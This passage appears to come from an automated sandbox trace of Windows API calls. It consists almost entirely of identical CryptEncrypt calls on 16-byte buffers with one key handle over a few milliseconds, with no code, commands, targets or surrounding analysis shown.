pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.542] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.543] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.544] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.545] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, 